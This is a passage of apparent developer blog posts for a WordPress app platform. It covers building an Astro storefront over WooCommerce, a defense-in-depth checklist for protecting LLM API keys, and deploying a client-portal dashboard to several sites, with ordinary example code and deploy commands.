cards with image, name, and a formatted price. Link each card to
/apps/storefront/product/<slug>/."

"Add a product page at src/pages/product.astro. Read the slug from
dsgo.context.routeParams.slug, fetch with
dsgo.commerce.products.list({ slug, per_page: 1 }), render the
product, add an Add-to-cart button that calls cart.addItem and
redirects to /cart/. Drop in the ProductQa component below."

"Add a cart page at src/pages/cart.astro. Render dsgo.commerce.cart.get
items with a remove button keyed by line.key. Add a checkout button
that calls dsgo.commerce.checkout.openHostedPage. Drop in
SmartCartUpsell underneath."
```

Three prompts, three pages, one storefront. Notice what you did *not* prompt for: manifest updates, permission declarations, abilities allow-lists. That's the integration's job. As long as the agent imports `ProductQa` and `SmartCartUpsell` cleanly, the next `npm run build` unions the components' permissions into your `dsgo-app.json` automatically.

This is the part that matters specifically for vibe coding. Agents are good at writing the code; they are not always good at remembering to thread a manifest change through every relevant key. The integration removes that as a class of bug. You can let Claude Code iterate freely on imports; the manifest stays in sync, and CI catches anything that drifted (see Step 8 below).

If the agent ever invents a `dsgo.*` method that doesn't exist (it happens, less often than you'd expect, but it happens), point it back: `"Re-read AGENTS.md and tell me which dsgo.* method actually does X."` That snaps it back to the documented surface fast.

#### Step 3: declare the routes

Open `dsgo-app.json` and set the routes you'll publish:

```
{
  "manifest_version": 1,
  "id": "storefront",
  "name": "Storefront",
  "version": "0.1.0",
  "isolation": "iframe",
  "display": { "modes": ["page"], "default": "page" },
  "permissions": { "read": ["commerce"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] },
  "routes": [
    { "path": "/",              "file": "index.html",         "title": "Shop" },
    { "path": "/product/:slug", "file": "product/index.html", "title": "Product",
      "dataset": { "source": "wc:products", "id_field": "slug" } },
    { "path": "/cart",          "file": "cart/index.html",    "title": "Cart" }
  ],
  "commerce": {
    "providers": ["woocommerce"],
    "endpoints": ["products", "cart", "checkout"]
  }
}
```

Three things worth pointing at:

- **`/product/:slug` is a dynamic route.** Astro emits one `product/index.html` template; the plugin substitutes the matched product's data into it at request time. One file in your bundle, every product on the site. Dynamic routes are a Pro feature; without it you'd statically pre-render one HTML file per product at build time, which is fine until your catalog grows.

- **`permissions.read: ["commerce"]`** is the only scope you have to declare by hand. The integration will add more when you import components that need them (the `ProductQa` component pulls in `ai` and `user`, for example).

- **`commerce.endpoints`** tells the install dialog which Woo surfaces the app reaches: products, cart, and checkout. The site owner sees those three named in the install bucket, not a vague "this app uses commerce" line. (See [the permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/) for why this matters.)

#### Step 4: write the catalog page

Create `src/pages/index.astro`:

```
---
import Layout from '../layouts/Layout.astro';
---
<Layout title="Shop">
  <h1>Shop</h1>
  <ul id="grid" class="grid"></ul>
</Layout>

<script>
  import { dsgo } from '@designsetgo/app-client';

  await dsgo.ready;
  const { items } = await dsgo.commerce.products.list({ per_page: 24 });

  const grid = document.getElementById('grid');
  grid.innerHTML = items.map((p) => `
    <li class="card">
      <a href="${import.meta.env.BASE_URL}product/${p.slug}/">
        <img src="${p.images?.[0]?.src ?? ''}" alt="${p.images?.[0]?.alt ?? ''}" />
        <h2>${escape(p.name)}</h2>
        <p class="price">${formatPrice(p.prices?.price_range?.min_amount ?? p.prices?.price)}</p>
      </a>
    </li>
  `).join('');

  function formatPrice(price) {
    if (!price) return '';
    const amount = typeof price === 'string' ? price : price.amount;
    const currency = (typeof price === 'object' && price.currency) || 'USD';
    const minor = Number((typeof price === 'object' && price.minor_unit) ?? 2);
    const major = Number(amount) / Math.pow(10, minor);
    return new Intl.NumberFormat(undefined, {
      style: 'currency', currency, minimumFractionDigits: minor, maximumFractionDigits: minor,
    }).format(major);
  }

  function escape(s) {
    return String(s).replace(/[<&>]/g, (c) =>
      c === '<' ? '&lt;' : c === '>' ? '&gt;' : '&amp;');
  }
</script>
```

That's the catalog. One bridge call, one render loop, two helpers. The Store API returns prices in minor units (`{ amount: "9999", currency: "USD", minor_unit: 2 }` is `$99.99`); divide by `10^minor_unit` once you parse to a number, then format with `Intl.NumberFormat`. Skip that step and yen amounts will look like dollars and Kuwaiti dinar will look like nonsense.

#### Step 5: drop the product page in with `ProductQa`

Dynamic routes expose the matched URL parameter as `dsgo.context.routeParams.<name>`. Read the slug, fetch the product through the commerce bridge, render it, and drop a `ProductQa` component below:

Create `src/pages/product.astro` (which renders to `dist/product/index.html`):

```
---
import Layout from '../layouts/Layout.astro';
import { ProductQa } from '@designsetgo/astro/woo';
---
<Layout title="Product">
  <article id="product"></article>

  <section class="qa">
    <h2>Ask about this product</h2>
    <ProductQa />
  </section>
</Layout>

<script>
  import { dsgo } from '@designsetgo/app-client';

  await dsgo.ready;
  const slug = dsgo.context.routeParams.slug;
  const { items } = await dsgo.commerce.products.list({ slug, per_page: 1 });
  const product = items[0];

  const root = document.getElementById('product');
  if (!product) {
    root.innerHTML = '<p>Product not found.</p>';
  } else {
    root.innerHTML = `
      <img src="${product.images?.[0]?.src ?? ''}" alt="${product.images?.[0]?.alt ?? ''}" />
      <h1>${escape(product.name)}</h1>
      <div class="description">${product.description}</div>
      <button id="add" data-id="${product.id}">Add to cart</button>
    `;
    document.getElementById('add').addEventListener('click', async (e) => {
      await dsgo.commerce.cart.addItem({
        id: Number(e.currentTarget.dataset.id),
        quantity: 1,
      });
      window.location.href = `${import.meta.env.BASE_URL}cart/`;
    });
  }

  function escape(s) {
    return String(s).replace(/[<&>]/g, (c) =>
      c === '<' ? '&lt;' : c === '>' ? '&gt;' : '&amp;');
  }
</script>
```

(If you want the catalog page to be statically renderable for crawlers without JS, use the manifest's `{{name}}` / `{{{description}}}` template substitution to bake the matched product's fields into the HTML at request time; see the [dynamic routes section of MANIFEST.md](https://designsetgo.dev/docs/manifest#dynamic-routes) for the full token set. The runtime fetch above is the simpler path for an interactive page.)

Now run a build and look at `dsgo-app.json`. The integration noticed the `ProductQa` import and added the permissions it needs:

```
   "permissions": { "read": ["commerce"], "write": [] },
+  "permissions": { "read": ["commerce", "ai", "user"], "write": [] },
```

That's the merge behavior. You did not have to remember that `ProductQa` reads the current user (for per-customer chat history) or calls AI (for grounded answers). The component declared its own per-component manifest; the integration unioned it into yours.

`ProductQa` is one of the two AI components in v0.1.0. It answers visitor questions using only the product description and any admin-curated facts the merchant added in wp-admin. No hallucinated specs. The AI call routes through the site's WP 7.0 [AI Connector](https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/), so the merchant configures Anthropic or OpenAI or Google credentials once at `Settings → Connectors` and every DSGo App on the site inherits them. Your bundle never sees a key.

#### Step 6: build the cart page with `SmartCartUpsell`

Create `src/pages/cart.astro`:

```
---
import Layout from '../layouts/Layout.astro';
import { SmartCartUpsell } from '@designsetgo/astro/woo';
---
<Layout title="Cart">
  <h1>Your cart</h1>
  <ul id="lines"></ul>
  <p id="total"></p>
  <button id="checkout">Continue to checkout</button>

  <section class="upsell">
    <SmartCartUpsell count={4} heading="You might also like" />
  </section>
</Layout>

<script>
  import { dsgo } from '@designsetgo/app-client';

  await dsgo.ready;

  async function render() {
    const cart = await dsgo.commerce.cart.get();
    const lines = document.getElementById('lines');
    lines.innerHTML = cart.items.map((line) => `
      <li>
        <span>${escape(line.name)}</span>
        <span>${line.quantity} &times; ${formatPrice(line.prices.price)}</span>
        <button data-key="${line.key}" class="remove">Remove</button>
      </li>
    `).join('');
    document.getElementById('total').textContent =
      `Total: ${formatPrice(cart.totals.total_price)}`;

    for (const btn of lines.querySelectorAll('.remove')) {
      btn.addEventListener('click', async () => {
        await dsgo.commerce.cart.removeItem({ key: btn.dataset.key });
        await render();
      });
    }
  }

  document.getElementById('checkout').addEventListener('click', async () => {
    await dsgo.commerce.checkout.openHostedPage();
  });

  await render();

  function formatPrice(price) { /* same as catalog */ }
  function escape(s) { /* same as catalog */ }
</script>
```

The cart line key (not the product id) is what you pass to `removeItem` and `updateItem`. The same product can sit in the cart twice with different variations, so the per-line key is the unit of truth.

`SmartCartUpsell` picks 3 to 4 products from the visitor's current-cart categories and renders them as add-to-cart cards. The component bundles its own scoped CSS, its own boot script keyed to a `data-dsgo-component` slug, and its own mount logic; you do not wire anything by hand. The integration sees the import and unions `commerce` and `abilities` into your manifest. Since you already had `commerce`, only `abilities` gets added on this build.

`checkout.openHostedPage()` triggers a top-window navigation to Woo's hosted checkout with the cart preserved. In iframe mode the bridge handles the top-level navigation through a `dsgo:nav-top` message to the parent; in inline mode it navigates the current window directly. Payment, fraud screening, taxes, shipping, order confirmation, post-purchase emails: all Woo. None of it your problem.

#### Step 7: deploy

```
npm run build
npx @designsetgo/cli deploy --site https://your-shop.com --build
```

The first deploy will prompt for an application password from your Woo site (generate one in **Users → Profile → Application Passwords**). The CLI stores credentials in `~/.designsetgo/credentials.json`; subsequent deploys to the same site skip the prompt.

Open `https://your-shop.com/apps/storefront/` and the catalog renders. Click into a product, the dynamic route resolves at request time and the page comes back. Add to cart, click through to `/cart/`, hit checkout, and you're on Woo's own checkout page with the cart pre-loaded. View source: real HTML, real `<title>`, real meta tags, real internal links. Crawlable. Linkable. Shareable.

#### Step 8: the CI gate

Push a branch with the project so far. In GitHub Actions (or any CI):

```
- run: npm ci
- run: npm run build
  env:
    CI: 'true'
```

With `mode: 'check'` active in CI, the build fails non-zero with a printed diff if the manifest on disk is stale. So when Claude Code (or Cursor, or you) adds a new component import on a feature branch, the build forces you to commit the manifest update too. No more "wait, why is the install dialog asking for AI access now?" surprises in production.

To update the manifest locally: run `npm run build` once without `CI=1`, commit the changed `dsgo-app.json`, push, CI passes.

#### Step 9: make the storefront the whole site (optional)

Everything above lives at `/apps/storefront/`. That's a great default for adding a storefront alongside an existing Woo site, an existing blog, an existing About page. If you want the Astro app to *be* the site, set:

```
"mount": { "mode": "root" }
```

Now the app serves at `/` directly. No `/apps/` prefix. Real WP pages, posts, archives, and feeds still win (root mode adds, it does not shadow), so the merchant keeps publishing in wp-admin without breaking your storefront. Your `/`, `/product/:slug/`, and `/cart/` routes own the URLs the WP front-end would otherwise serve.

This is the configuration where DSGo Apps stops being "host an Astro storefront on WordPress" and starts being "WordPress is the headless commerce engine for your Astro site, on the same domain, with no rewrite layer to maintain."

#### What you did not write

A short tally for the post-mortem you would otherwise be writing six months in:

- **No CORS.** Same origin.

- **No cart sync layer.** The cart is Woo's cart, fetched through an in-window bridge call.

- **No auth bridge.** The visitor's Woo session is whatever they already had with WordPress.

- **No checkout reimplementation.** You handed off to `checkout/` on the Woo side and let it do the regulated, PCI-scoped, frequently-updated work it already does well.

- **No API keys in your bundle.** AI components route through the site's WP 7.0 Connector. Storefront ships without a single credential.

- **No separate deploy pipeline.** `npx @designsetgo/cli deploy --build`. One command, idempotent re-runs, GitHub Action available if you want it on push to main.

- **No headless-vs-monolith debate at the team retro.** Astro for the front-end. Woo for the commerce engine. Same domain. Nothing to glue.

#### Where to go next

- The [@designsetgo/astro README](https://www.npmjs.com/package/@designsetgo/astro) for the full component catalog and integration options.

- The [introductory release post](https://designsetgo.dev/blog/introducing-designsetgo-astro/) for the design rationale and the parity story with the standalone bundles.

- The [Astro on WordPress doc](https://designsetgo.dev/docs/astro-on-wordpress/) for the broader manifest, routes, and bridge story (everything from the perspective of "I'm building an Astro project").

- The [product configurator post](https://designsetgo.dev/blog/build-a-woocommerce-product-configurator/) for a deeper look at `dsgo.commerce.*` (variations, attribute-pickers, variation-aware cart adds).

- The [permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/) for what the install dialog looks like to your merchant.

Go build the storefront the headless Vercel post made you stop wanting to build.

### Protecting your LLM API keys in WordPress 7.0: a defense-in-depth checklist

URL: https://designsetgo.dev/blog/protecting-your-llm-api-keys-in-wordpress-7-0-a-defense-in-depth-checklist/
Published: 2026-05-24 · Nealey

A small thread went around X today. [Brian Coords kicked it off](https://x.com/briancoords/status/2058318100962091495):

> Can someone explain the FUD around WordPress storing AI API keys to me? How is this different than storing Stripe or other API keys? Genuine question.

[Patrick Gallagher](https://x.com/gridpane) agreed:

> This current panic is really really daft. Stripe, PayPal, email marketing, Hubspot, shipping, analytics… all of these things have been in the database, not encrypted, for decades.

[Scott Buscemi](https://x.com/scottbuscemi) pushed back:

> AI keys are worth big money since you can run through thousands of dollars worth of AI tokens overnight. They're particularly useful for bad guys right now. But you present a good point that this is a long standing WP issue.

And [Nagesh Pai](https://x.com/nagpai) put it most starkly:

> AI keys leaked out can bankrupt a person at agentic speeds.

Brian and Patrick are right that WordPress has been storing sensitive credentials in the database for two decades and the world has not ended. Scott and Nagesh are right that AI keys have a property the older ones don't, and that property is worth taking seriously.

Both sides of the thread are talking past each other, which is normal for X. This post is the version I'd want to hand to a WordPress site owner who saw the thread and wanted to know what to actually do. Provider-side first, because that's where the biggest lever is. WordPress-side second. Plugin-architecture third, because the choice of plugin is the difference between "my key is in one database I control" and "my key is in three vendors' databases I don't."

#### What's actually different about AI keys

Stripe and PayPal keys move money on rails that have fraud detection, chargebacks, dispute windows, manual review, and counterparties who can freeze a transaction. If your Stripe secret leaks tomorrow, the attacker who pulls it has to convert "API access" into "fungible value," which means a refund attack or a card-testing scheme, both of which are loud, both of which Stripe has tooling against, and both of which you can recover from with a phone call.

AI keys move money on rails that have none of that. The provider's billing system measures tokens, the tokens were genuinely consumed, the inference genuinely happened, and the bill is genuinely owed. There is no chargeback. There is no fraud window. The "fungibility" is built in: an attacker doesn't need to convert API access into anything, because access to a frontier model is already valuable to resell on grey markets or to use for spam, content generation, deepfake pipelines, or just exhausting your budget to grief you.

Speed is the other half. A leaked Stripe key has to make charges against real cards, and the per-card limits and per-merchant limits and Stripe's own velocity rules slow it down. A leaked Anthropic key gets parallelized across hundreds of concurrent requests against a $400 monthly cap in minutes, not hours. Nagesh's phrase — "agentic speeds" — is the right one. You will not notice via a billing email at the end of the month. You will notice via a billing email at the end of the day, possibly the end of the hour.

So: Patrick's "this is a long standing WP issue" is true. Scott's "they're particularly useful for bad guys right now" is also true. The combined answer is that the existing posture (keys in `wp_options`, hope nobody dumps the DB) was already not great for Stripe; for AI it's the same posture against a faster, less-recoverable attack. So the checklist below is mostly defense-in-depth that you should have had anyway, plus a few items that matter specifically because of the speed-and-irreversibility properties of token billing.

#### Provider-side controls (the most important layer)

If you do nothing else, do this. Provider-side limits are the only thing that cap your downside regardless of what happens to the key. The WordPress side is necessary but not sufficient; the provider side is sufficient even when WordPress is compromised.

##### Anthropic

The console at [console.anthropic.com](https://console.anthropic.com/) gives you:

- **Workspace-level monthly spend cap.** Set it. If your monthly is $80, cap the workspace at $100. The provider hard-stops at the cap, not "warns and keeps billing."

- **Per-API-key monthly spend limit.** Each key inside a workspace can have its own cap. Use this to give your WordPress site its own key with its own cap — say $50/mo if your normal usage is $30. The key for your local dev gets its own (smaller) cap.

- **Usage alerts at thresholds.** 50%, 75%, 90% of cap. These email you before the hard stop, so you can investigate before the site goes dark.

- **Rate-limit tier awareness.** Brand-new keys sit at Tier 1, which is 30,000 input tokens per minute on Sonnet. That cap is also a security feature: even a key with no spend limit can't be drained faster than the rate limit allows. Don't volunteer to tier up until you need to.

- **Rotate on suspicion, not on confirmation.** Anthropic lets you create a new key and revoke the old one in two clicks. If a contractor left, if a backup got emailed, if anything *feels* off, rotate. The cost of rotation is one settings update; the cost of not rotating is unbounded.

##### OpenAI

The dashboard at [platform.openai.com](https://platform.openai.com/) gives you:

- **Project-scoped keys.** Create a project per site (and per environment within the site). A key scoped to "marketing-blog production" cannot run inference against "internal-tools dev." If one leaks, the blast radius is one project.

- **Hard and soft usage limits.** Soft limits email you; hard limits stop the API. Set both, and set the hard limit to something you can absorb if it gets fully consumed in an hour.

- **Per-key rate limits.** OpenAI lets you set RPM/TPM caps per key, not just per organization. Cap your WordPress key at what your site actually needs, not what your account is theoretically allowed.

- **IP allowlisting (org plans).** If your WordPress site has a static outbound IP (most decent hosts do, ask your host), allowlist it. A leaked key still won't work from an attacker's machine.

##### Google AI / Gemini

Through Google Cloud Console:

- **Billing budgets and alerts.** GCP's billing budget system is the most granular of the three. Set a budget on the project that owns your Gemini API key. Set alerts at 50/90/100%. Optionally trigger a Pub/Sub action at 100% that disables the API.

- **API restrictions on the key.** A Google API key can be restricted to specific APIs (Gemini only, not "all Google APIs the project happens to have enabled") and to specific HTTP referrers or IPs.

- **Quotas.** Set request/minute quotas on the project. Same logic as above: a leaked key is bounded by what the quota allows.

The common pattern across all three: **the provider knows about budgets and rate limits, your WordPress site does not.** The provider can hard-stop a runaway in real time; WordPress can only refuse to make the next request, which doesn't help if the next request isn't coming from WordPress.

#### WordPress-side controls

These are the controls that reduce the probability of leak. They don't bound the damage if a leak happens; that's what the provider-side caps are for. Both layers matter.

**1. Use the WordPress 7.0 Connectors API.** This isn't a security feature per se, but it consolidates the surface. With Connectors, the site admin pastes the key once at `Settings → Connectors` and every WP-AI-Client-using plugin inherits it. Instead of N plugins each writing the key into N different `wp_options` rows (and N different export/backup/staging-sync risks), the key lives in one place with one access path. If you're on WordPress 7.0 or later and your AI plugin asks you to paste the key into its own settings screen instead of using Connectors, that's a yellow flag — it means the plugin is doing its own key handling.

**2. Restrict who can edit the connector.** By default, only administrators can edit Connectors settings. Keep it that way. If you're using a role plugin (Members, User Role Editor), audit which custom roles you've granted `manage_options` to — that capability gates the connector screen. Editor and Author should never have it.

**3. Enable 2FA on every admin account.** Application passwords or a 2FA plugin (WP 2FA, Two-Factor by the Two-Factor team). The single most common path to a database dump is "compromised admin login," not "RCE in a plugin." If your admin login requires a second factor, the attacker who phished your password still can't get to the connector screen.

**4. HTTPS-only admin, force-SSL admin, and disable XML-RPC if you don't use it.** Standard hardening. AI keys travel over the wire when you paste them; if any of that wire is HTTP, assume the key is compromised.

**5. Audit your backup and staging story.** Where do your full-database backups go? Who has access? When you push production to staging, does the connector get pushed too? Plenty of teams have a backup S3 bucket that's "private" in a way that means "private from the public Internet, fully accessible to anyone with the deploy IAM role." Treat your backup bucket like a key vault, because it is one.

**6. Separate keys per environment.** Production WordPress uses one key. Staging uses a different key, ideally on a different account or workspace, with a much smaller spend cap. Local dev uses a third. When (not if) someone commits a `.env` from local dev to a public repo, the blast radius is the local dev cap.

**7. Watch the security advisories.** [Patchstack](https://patchstack.com/database/) and [Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities) track WordPress plugin vulnerabilities. Subscribe to their feeds. Any plugin that touches AI keys is, by definition, a high-value target. When an advisory drops for a plugin you use, patch on the same day, not at the next maintenance window.

#### Plugin-architecture choices

This is the layer most people skip and the one with the most leverage long-term. The choice of AI plugin determines how many copies of your key exist and how many parties have access to them.

**Prefer plugins that use the WP AI Client / Connectors path over plugins that hold their own keys.** The architectural shape matters. A plugin that uses `wp_ai_client_prompt()` doesn't see your key, doesn't store your key, and inherits whatever credential the site admin configured at Connectors. If the plugin gets compromised, the attacker has plugin-level access; they don't get the key, because the plugin doesn't have it. A plugin that has its own "paste your Anthropic key here" settings tab is storing a copy of the key in its own `wp_options` row, with its own access controls, and (in many cases) is also proxying your requests through the plugin author's own infrastructure, which means a third copy lives in the plugin author's logs.

**Avoid plugins that proxy AI requests through the plugin author's service.** I wrote about this in [Why we don't hold your API keys](https://file+.vscode-resource.vscode-cdn.net/blog/15-why-we-dont-hold-your-api-keys/). The TL;DR: a proxy architecture means your key (or the inference billed against your account) flows through the plugin author's servers. That adds the plugin author's incident-response posture, the plugin author's backup discipline, the plugin author's employee access controls, and the plugin author's vendor security to your threat model. Connectors-based architecture eliminates all of that. DesignSetGo Apps is built this way deliberately: the `dsgo.ai.prompt()` call goes through WP AI Client, which routes through the site admin's configured Connector, which talks to the provider directly. The plugin never sees the key, the plugin author never sees a request, the bundle never ships an API token.

**Audit which plugins have "AI" features quietly added on.** A lot of plugins in 2025 and 2026 grew an AI feature as a "while you're at it." SEO plugins added meta-description writers. Form plugins added auto-reply. Media plugins added alt-text generation. Each one of those is now a potential AI-key consumer; if the plugin uses Connectors, fine, you've already configured the key once. If it uses its own key field, you've now got another copy of the key in another row of `wp_options`. Look at your plugin list with this lens.

#### Monitoring and detection

The provider-side caps stop the damage. The monitoring catches the leak.

**1. Set the alert thresholds and *test* them.** Trigger the 50% alert deliberately by running real workload, and confirm the email lands in an inbox someone actually reads. An alert that goes to a shared distribution list nobody monitors is theater. Send it somewhere paged.

**2. Set a low daily-spend anomaly threshold.** Most providers will alert on hitting a percentage of monthly cap; fewer alert on "today's spend is 5x yesterday's." If your provider supports day-over-day anomaly detection, enable it. If not, a small daily cron that pulls the usage API and emails you on a delta over your threshold takes 20 minutes to write and pays for itself the first time it fires.

**3. Pull provider usage into a dashboard.** Anthropic, OpenAI, and Google all expose usage APIs. A simple Looker Studio or Grafana board showing daily spend per key, per project, per workspace, is enough to spot a problem on the morning of, not the end of the month.

**4. Log the WordPress side too.** A plugin like Simple History or WP Activity Log will record connector changes (`who edited the Connector key and when`) and admin role changes. When a key gets rotated unexpectedly, you want a trail.

#### The short version

- The thread is right that "keys in the database" is a long-standing WP situation. The thread is also right that AI keys are different in one specific way: damage is fast, automated, and unrecoverable.

- Provider-side budget caps are the single most effective control. Set them per workspace and per key, on every provider, today.

- WordPress-side hardening reduces leak probability. 2FA, admin-only Connector access, HTTPS, backup discipline, environment-separated keys, security-advisory feeds.

- Plugin architecture is the biggest long-term lever. Prefer Connectors-based plugins. Avoid plugins that proxy your requests. Audit which plugins quietly grew an AI feature.

- Monitoring catches what hardening misses. Threshold alerts, anomaly alerts, and a usage dashboard that someone actually looks at.

None of this is exotic. It's the same posture you'd want around any high-value credential. The reason the AI-key version of the conversation feels new is that the failure mode is faster and less reversible. The mitigations aren't new at all.

### Build an agency client dashboard once and ship it to every WordPress site

URL: https://designsetgo.dev/blog/build-an-agency-client-dashboard-once-and-ship-it-to-every-wordpress-site/
Published: 2026-05-23 · Nealey

This is the agency flow. You run a small shop. You manage anywhere from three to thirty WordPress sites for clients, and you want each client to have a real portal they log into on their own domain. Today that usually means a shared Dropbox, a Notion link, a "client portal" SaaS on its own subdomain, or a hand-rolled page template you're scared to touch. None of those feel like part of the agency's work.

The DSGo path: you build one client dashboard. You declare what data it can read in your manifest. You deploy the same bundle to each client's WordPress with one command. Each client sees their own data through their own login. When you push an update, you re-run the deploy and every site has the new version inside a minute.

This post walks the whole thing end to end. You'll build a dashboard that greets the logged-in client by name, shows the project updates you've posted for them, and lets them drop a file back to your media library. It will run inside an iframe at `/apps/client-portal/` on every client site, pulling per-client data through the bridge.

#### What you bring in

Three things on the agency side:

- **A coding agent.** Claude Code, Cursor, or Codex. We'll start with `npx designsetgo apps init` which drops a starter project with the typed bridge client and a `CLAUDE.md` your agent will read on open.

- **A static framework, your call.** Anything that produces a `/dist` folder works: Vite + React, Vite + Vue, SvelteKit static export, Astro, plain HTML. The bridge is framework-agnostic. The example in this post is plain HTML and JS so it fits on one screen, but the same bridge calls work inside a React component without changing.

- **A manifest.** `dsgo-app.json` declares the permissions the dashboard wants on each client site and how it should render. This is what shows up in the install dialog when a client (or you, on the client's behalf) installs the app.

On the client-site side, what's already there:

- WordPress user accounts. You log in as the agency; the client logs in as themselves.

- WP roles and capabilities, which the bridge surfaces directly.

- A media library, which the bridge exposes as upload.

- The posts table, which you'll use to publish status updates per client.

You don't write a backend.

#### Scaffold the project

```
npx designsetgo apps init client-portal
cd client-portal
```

The starter drops an `index.html`, `app.js`, `styles.css`, `dsgo-app.json`, and a `CLAUDE.md`. If you open the folder in your editor with Claude Code or Cursor, the agent has the manifest format and the bridge surface in working context immediately.

Open `dsgo-app.json` and replace the contents with:

```
{
  "manifest_version": 1,
  "id": "client-portal",
  "name": "Client portal",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["page"], "default": "page" },
  "permissions": { "read": ["user", "posts"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two read scopes: `user` for "who is this and what can they do," `posts` for "let me list the updates I've published in the client-updates category." No write scope yet; the upload form uses `dsgo.media.upload`, which is a core opt-out method (no permission needed unless you've turned it off in the manifest). The install dialog will show one bucket: "Read content." Boring on purpose. The site owner (your client, or you on their behalf) sees a single check.

#### Build the UI

In `index.html`:

```
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>Client portal</title>
    <link rel="stylesheet" href="styles.css" />
  </head>
  <body>
    <main id="root">
      <header class="head">
        <h1 class="head__title">Hi, <span id="client-name">there</span>.</h1>
        <p class="head__lede">Your latest project updates and a place to drop files back to us.</p>
      </header>
      <section class="updates" aria-label="Project updates">
        <h2>Recent updates</h2>
        <ul id="updates-list"></ul>
      </section>
      <section class="files" aria-label="Send files">
        <h2>Send us a file</h2>
        <form id="upload-form">
          <label for="upload-input">Pick a file to upload</label>
          <input type="file" id="upload-input" />
        </form>
        <p id="upload-status" role="status"></p>
      </section>
    </main>
    <script src="app.js" type="module"></script>
  </body>
</html>
```

In `app.js`:

```
const dsgo = window.dsgo;

async function main() {
  const user = await dsgo.user.current();

  if (!user || !user.id) {
    document.getElementById('root').innerHTML =
      '<p>Please <a href="/wp-login.php">sign in</a> to view your portal.</p>';
    return;
  }

  document.getElementById('client-name').textContent = user.name;

  await renderUpdates();

  document
    .getElementById('upload-input')
    .addEventListener('change', onUpload);
}

async function renderUpdates() {
  const { items } = await dsgo.posts.list({
    category: 'client-updates',
    per_page: 5,
    orderby: 'date',
    order: 'desc',
  });
  const list = document.getElementById('updates-list');
  list.innerHTML = items
    .map(
      (p) =>
        `<li><a href="${p.link}">${escape(p.title)}</a> ` +
        `<time>${new Date(p.date).toLocaleDateString()}</time></li>`,
    )
    .join('');
}

async function onUpload(e) {
  const file = e.target.files[0];
  if (!file) return;
  const status = document.getElementById('upload-status');
  status.textContent = 'Uploading...';
  try {
    const result = await dsgo.media.upload(file, { filename: file.name });
    status.textContent = `Got it. We have ${escape(result.filename)}.`;
  } catch (err) {
    status.textContent =
      err && err.code === 'permission_denied'
        ? 'Uploads are turned off for your account. Sign in and try again.'
        : 'Upload failed. Please try again or email us directly.';
  }
}

function escape(s) {
  return String(s).replace(/[<>&]/g, (c) =>
    c === '<' ? '&lt;' : c === '>' ? '&gt;' : '&amp;',
  );
}

main();
```

Four bridge calls total: `user.current`, `posts.list`, `media.upload`, plus the bridge handles the auth check inside `user.current`. No SMTP. No database. No file-upload endpoint. The WordPress site you're deploying onto has the user table, the capabilities, and the media library; the bridge surfaces them.

The "recent updates" section pulls posts from a `client-updates` category on each client's site. Your agency workflow: log into the client's wp-admin, write an update, file it in `client-updates`, hit publish. The client sees it in their portal on the next refresh. The bridge applies WordPress's normal visibility rules, so drafts stay drafts.

The upload form drops files straight into the client's WP media library. The file is owned by the uploading visitor and tagged with the source app id (`_dsgo_apps_source_app` post meta) so your agency staff can filter for "everything the client portal sent" in **Media → Library**. Defaults to image types; broaden via the `dsgo_apps_media_allowed_mimes` filter on the client's site if they need to send PDFs or zips.

#### Set up the client's WordPress

Two one-time steps per client site, both five minutes:

- **Create a `client-updates` category** in their wp-admin. Just go to Posts → Categories and add it. Slug should be `client-updates` to match the manifest above.

- **Make sure the client has the right WP capabilities.** A standard Subscriber role can read posts but can't upload. If you want the client to be able to send you files via the portal, bump them to Author (or grant the `upload_files` cap with a small mu-plugin). The bridge follows WordPress's normal capability rules; the dashboard doesn't try to override them.

Both of these are recurring agency setup. Add them to your client-onboarding checklist; they're a one-time tax per client, not per app update.

#### Deploy to your first client

```
npm run build
npx designsetgo apps deploy --site=client-one.com --build
```

The first deploy will prompt you for the client's site URL and an application password. Generate one in their wp-admin (Users → Profile → Application Passwords). The CLI stores credentials in `~/.designsetgo/credentials.json`; subsequent deploys to the same site skip the prompt.

Open `https://client-one.com/apps/client-portal/` while logged in as the client (or use a private window logged in with a client test account). The dashboard renders. Their name shows up. The updates list pulls from the `client-updates` category. The upload form drops a file into their media library. Log out and reload, and the sign-in prompt appears.

#### Deploy to every client at once

The Plus and Agency tiers support a `--sites` flag that takes a comma-separated list and runs the deploys in one command:

```
npx designsetgo apps deploy \
  --sites=client-one.com,client-two.com,client-three.com \
  --build
```

The CLI batches the build, then deploys to each site in sequence with one preflight check per site. If a deploy fails (network blip, plugin version mismatch), the batch reports per-site and continues; you can re-run the failures one at a time afterwards.

On the free tier or when you want explicit control, a four-line bash loop does the same job:

```
SITES=("client-one.com" "client-two.com" "client-three.com")
for site in "${SITES[@]}"; do
  npx designsetgo apps deploy --site="$site" --build
done
```

The CLI is idempotent: running it twice with the same bundle is a no-op on the second pass. For production agency workflows, this loop usually lives in a GitHub Action triggered on push to main. There's a [separate post on the GitHub Action workflow](https://designsetgo.dev/blog/the-github-action-continuous-deploy/); the gist is the same loop with secrets injected per client.

#### Update everywhere

Six weeks in, a client asks for a "request a change" section on the dashboard. You add the form to `app.js`, wire it to `dsgo.email.send` with your agency's address as the recipient (after adding `email` to the manifest's read scope and an allow-list block to the manifest's runtime), bump `version` in `dsgo-app.json`, and re-run the deploy batch. Every client site has the new version inside a minute.

If one client wants to pin to the old version, the CLI keeps the previous bundle in their plugin's app directory until it's cleaned up. For most agencies the "newest version wins" model is fine; for regulated clients you'd skip them from the batch and deploy on their schedule.

#### What you didn't write

- **An auth layer.** WordPress already has one. The dashboard reads `dsgo.user.current()` and renders accordingly. The sign-in link points at `wp-login.php`, which works whether the client uses default WP login, a custom login plugin, or SSO.

- **Per-client backends.** Same code reads each site's users, posts, and media through the bridge. Each deploy is scoped to one site; nothing crosses sites.

- **A file upload endpoint.** `dsgo.media.upload` handles the multipart, the nonces, and the capability check. Files land in the client's media library, tagged so you can find them.

- **An update mechanism.** Each client install lives as a versioned bundle inside their plugin folder; the next `apps deploy` registers the new one.

